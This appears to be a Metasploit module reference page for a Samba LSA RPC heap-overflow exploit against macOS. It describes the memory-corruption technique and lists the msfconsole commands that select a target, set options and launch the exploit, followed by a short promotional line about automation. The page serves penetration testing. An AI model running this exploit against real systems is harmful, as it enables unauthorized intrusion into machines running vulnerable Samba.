This module triggers a heap overflow in the LSA RPC service of the Samba daemon. This module uses the szone_free() to overwrite the size() or free() pointer in initial_malloc_zones structure.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/osx/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show targets
...targets...
msf exploit(lsa_transnames_heap) > set TARGET < target-id >
msf exploit(lsa_transnames_heap) > show options
...show and set options...
msf exploit(lsa_transnames_heap) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
